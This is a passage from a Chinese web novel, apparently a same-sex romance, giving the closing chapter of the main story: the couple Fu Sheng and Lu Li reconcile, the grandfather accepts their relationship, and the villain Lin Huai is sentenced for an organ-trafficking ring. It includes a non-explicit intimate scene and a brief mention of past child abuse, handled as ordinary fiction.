“这个现在还不知道,林淮没有生命危险,对了,”蒋文说,“你刚才在干什么,怎么这么喘?跑步去了?你这么懒散的人回家竟然还跑步,不像你啊。” 傅生:“……” 不愧是二百五,他快速地说:“挂了吧。” 他们通电话的时候,陆离垂着眸子在一边听着,直到挂了电话,他才垂着眼睛,“我去做饭了。” 傅生看着陆离的背影,眼睛颦了一下,觉得陆离情绪有些不对。 不过他也没有多想,一直到晚上,陆离站在窗口,月光噌亮,是个团圆月,他却依旧垂着眼睛,不知道在想什么。 傅生走过去,站在他旁边:“丢魂了?” 陆离撩起眼皮:“没有。” 傅生:“不高兴?” 陆离唇线紧抿:“没有。” 傅生心说这脸冷的都快和冰一个色了,这是骗鬼呢? 不过对付陆离,他还是很有办法的,抬头亲了一下他的下巴,等到陆离想吻下来的时候,他偏头让开了须臾。 “为什么不高兴。”傅生想了想,陆离情绪变化的时间,是在蒋文打来电话之后,电话的内容是…… 他说:“因为林淮?” 陆离不说话了,但是不说话在陆离这里就是默认。 傅生笑了一下,“为什么因为他生气?” “没有生气,”陆离手指动了动说。 他只是觉得傅生对于林淮有些不一样,以傅生的聪明,为什么没有怀疑林淮。 是不想,还是—— 傅生凭一个眼神,就能知道陆离所想。 他叹了一下一口气,对着陆离勾了一下手指: “低头,我告诉你是为什么。” 陆离刚垂了下眸,傅生就伸手将他拉了下去,他瞳孔一动:“你——” 傅生在他耳边低声说:“帮你,定定心。” …… 房间内灯光很亮。 傅生喘息中遮了一下眼,心说,下次他再信陆离在灯光下害羞这件事,他就是傻子。 陆离拿开他的手,不让他挡头顶的光,像是这样才能把人看清楚:“哥,喊我一声。” “——陆—离——” 傅生头一次体现了这种话都说不出口的滋味。 明明对于自己曾经的身体,他最熟悉不过,但是此刻,他却觉得对自己的了解得太少了。 他不知道能烫成这样。 陆离抓着他的手,低头吻了一下他的额头上。 爱欲能让其生。 爱欲也能让其死。 你爱我吗,你爱我吗, 若我不是你,你还会爱我吗。 生死反复中,他像是在反复确认这个问题。 在到达最顶峰的时候,他垂着眼睛,傅生轻喘息一口气,抬头在他耳边轻轻地说:“整个世界,我最爱你。” 他知道陆离所有的纠结。 爱是什么,他不知道。 他只知道陆离是他遗失的心脏。 心脏无可替代,而爱欲无穷无尽。 【作者有话说】 还有一章 【正文完】 第0058章 第 58 章 ◎正文完◎ 两个人折腾到了半夜。 陆离抱着人洗完澡, 回到卧室的时候,傅生脖颈和琵琶骨下面的那片红,在灯光下显得更明显。 他抿了一下唇, 刚想上点药, 就听到傅生躺在床上, 眼睛都不睁的开口:“我困死了, 你要来就自己来, 别叫醒我。” 陆离:“……” 傅生声音和往日不一样,多了一些嘶哑,眼尾也是红的,不说话还好,一说话—— 陆离抿了一下唇, 最终只是给傅生掩好了被子,又在他的眼皮上吻了一下。 第二天醒来的时候, 已经接近八点了, 傅生抬头,就看到陆离躺在一侧,正看着他。 “盯着我看什么?” 陆离看着他不说话。 傅生在这种氛围中摆烂地说:“你要不直接吃了我算了。” 他从来没有过这么奇怪的痛意, 又带着点细碎的酥麻。 要是再来一次, 他今天可以不用下床了。 好在陆离只是看了他几眼, 起身穿上了衣服,眼睛里有些担忧地问:“有没有哪里不舒服。” 傅生一脸你觉得呢的模样? 陆离抿了一下唇, 昨天晚上确实是有些过头了, 想了半天想出来,他说:“要不去医院看看。” 傅生几乎都要被他逗笑了, 去医院, 确实是陆离能做出来的事。 幸亏昨天没晕过去, 不然真去了医院,傅老板可丢不起这个人。 “我没事,”傅生披上衣服下床,“今天老爷子没来?” 这一会工夫已经九点了,按照平时的时间,这老爷子应该到了。 今天这是怎么回事? “老爷子晚点到,”陆离说,“我给他发了消息。” 傅生整理扣子的手顿了一下:“发消息?你说的什么?” “说早晨晚起一会。”陆离向来实话实说。 傅生眼皮跳了一下,心说你怎么不知道说明天不起了。 就在这时,门被敲响了。 傅老爷子声音传了出来:“醒了吗?” 傅生:“……” 他将衬衣最上面扣子扣上,确定看不到脖子间的痕迹,这才下楼。 打开门之后,老爷子就开口:“今天怎么起晚了?” 傅生看向陆离,眼神带着逗人看着他,意思很明显,你自己解决一下。 陆离抿了一下唇,他不擅长说谎,最后冷着声很是生硬地转开话题:“你要看鹦鹉?” 老爷子说:“会说话了?” 陆离:“不会。” 老爷子:“学会了别的技能?” 陆离捏着手:“也没有。” 老爷子不知道这是要看什么,但还是道:“那你拿下来我看看。” 傅生在旁边看得想笑。 很快鹦鹉便被陆离在二楼提下来,老爷子提着鸟笼子逗了几下,“什么时候能说两句话给我听听啊。” 那个鸟歪头看了他片刻,最后鹦鹉学舌道:“我爱你,我爱你。” 傅生:“……” 陆离:“……” 老爷子先是愣了一下,接着眉开眼笑地道:“乖宝,你会说话了?” 但是他没有高兴多久,就倏然品出一点不对味来。 他倏然抬头看向两个人,脸色很是复杂。 “你——你们——” 陆离在傅老爷子的注视下,低着声音开口:“和傅——我哥没关系,是我先纠缠的他。” 老爷子顿时露出有些牙疼的表情,看向傅生:“孩子,这是真的?” 傅生叹了一口气,他就知道瞒不了多久,他看着陆离说:“你先出去吧。” 陆离颦了一下眉,看了傅生一眼,却还是听话地走了出去。 房间里剩下爷孙两个人,傅老爷子像是在消化这件事,沉默了半晌才开口:“小陆父母都不在身边,对他好点。” 傅生闻言一愣,没有想到老爷子这么快接受,他还以为要多费口舌。 “您同意?” “你们年轻人的事,喜欢谁自己做主就好了,我们这些老东西就不掺和这些了,”他说着,在傅生手上拍了拍,“况且我是真的喜欢小陆,再多个孙子有什么不好的。” 傅生看着老爷子因为笑弯了的眼尾,沉默片刻才低声开口:“谢谢您,爷爷。” 傅老爷子听到这个称呼愣了一下,昏黄的眼睛里冒了一层水光出来。 他抓着傅生的手,又拍了几下:“外面有风,让小陆进来吧。别回头感冒了。” 老爷子临走的时候,拿着他的鸟笼子,看着跟在后面的陆离说:“以后,你也随着傅生喊我爷爷就好了,咱们都是一家人。” 爷爷…… 陆离听着这个称呼看向傅生,傅生弯着眼睛对他笑了一下。 在北川待了接近一星期,陆离就要回去上课了。 虽然傅老爷子很舍不得这两个大孙子,但是学还是要上的。 蒋文在两个人回北川的时候经常去事务所噌东噌西,聊天八卦,这会已经和周颂格外熟了。 “他们律师所的八卦真是太多了,一个比一个炸裂,”蒋文表示后悔自己当时没有好好学习了,“我感觉自己错过了一个亿的瓜。” 傅生端着咖啡喝了一口:“你现在去学也不晚。” 蒋文:“算了吧,我只想吃瓜,可不想处理这么复杂的公婆大战,婆媳大战,夫妻大战。” 看得他对于世界都要怀疑了,这个世界就是一个巨大的草台班子。 这他妈天天打架还在一起过个屁啊。 但是,又有一些人让他相信这个世界还是美好的。 比如—— 他的目光转到旁边傅生和陆离身上,总觉得两个人在一起,像是一场破次元的相遇。 像是命定下的意外,又像是意外中的命定。 真好啊。 蒋文感叹了一句,又接着转过头看他最新的八卦去了。 一星期之后,周颂带来了林淮的最新消息,被法院判处了死刑。 傅生没什么反应,所有人都会为自己的选择付出相应的代价。 周颂又道:“警察查了一下林淮的过往,他刚开始被高奇山从孤儿院领走,最开始的用处其实是给一个富人做心脏移植用的。但是他长相清秀,被高奇山相中留了下来——” 在一次校园体检中,有医生发现过林淮异常,那时候他才十二,下/体——有被性侵的痕迹。 但是第二天,那个医生就被辞退,不知道去了哪里,这件事再也没有人敢提。 傅生听着周颂的话,眼皮沉了一下。 “后来,”周颂顿了一下才说,“林淮患上严重的心理疾病,他的导师也说过,刚上大学的时候林淮和周围的学生格格不入,后来才慢慢地好起来。” “丁慧娟老师说,她一直以为是林淮后来痊愈了,现在事情曝光了她才发现,林淮只是把自己的痛苦转移到了别人身上,他被高奇山折磨,所以他就去折磨别人,他没有利用心理学去治愈别人,反而利用这个去犯罪,帮那个曾经加害他的人犯罪。他明明有机会逃掉,但一步步地让自己沦落成现在这样。” “废弃玩具厂是高奇山利用医学交易的暗点,人体交易,人体买卖,只要有钱,你可以买到一切你想要的,是一切黑暗的源头。” 傅生没有什么想说的,一切都是个人选择。 他抬头看了一眼天空,有风吹动了头顶的桂花树,他收回目光起身道:“我去接陆离了,今天是他第一天报到,要是没看到我又要不高兴了。” 周颂笑了一声。 他也没有想到陆离会选择做一名警察,因为这次案件非常成功,陆离被市局刑侦队提前破格录取。 * “3月28日中午10点30分,华盛医疗案件犯罪嫌疑人林某被判处死刑,其医疗案件中主犯高某已被害身亡,据查其团伙三年来利用医疗犯罪和地下交易受害者共339人,其中死亡人数高达97人,还有83人下落不详,本台记者项玉将为你持续报道。” 一名记者站在公安局门口,刚收了装备,转头看到一名好看的年轻人走到了门口。 然后,那位年轻人像是看到了什么,眼睛弯了一下。 记者下意识地顺着他的目光看了过去,一名穿着警服的人正在台阶上走下来。 两个人对视中,项玉下意识抬起相机,拍了下来。 画面瞬间定格。 陆离站在台阶上向下看,眼睛映着对面的人,那个人是他自己。 两个人像是隔着时间的洪流,在两个时空中遥遥对视。 片刻,傅生弯了一下眼睛:“别来无恙啊,小陆警官。” 这是和上一世完全不同的人生。 所幸,为时不晚。 所幸,正合时宜。 (正文完) 【作者有话说】 正文写完了。 会更番外,不过我先歇两天呜呜呜orn。这本耗情绪耗的太多了,一边写他们,一边心里发酸。 我调理一下。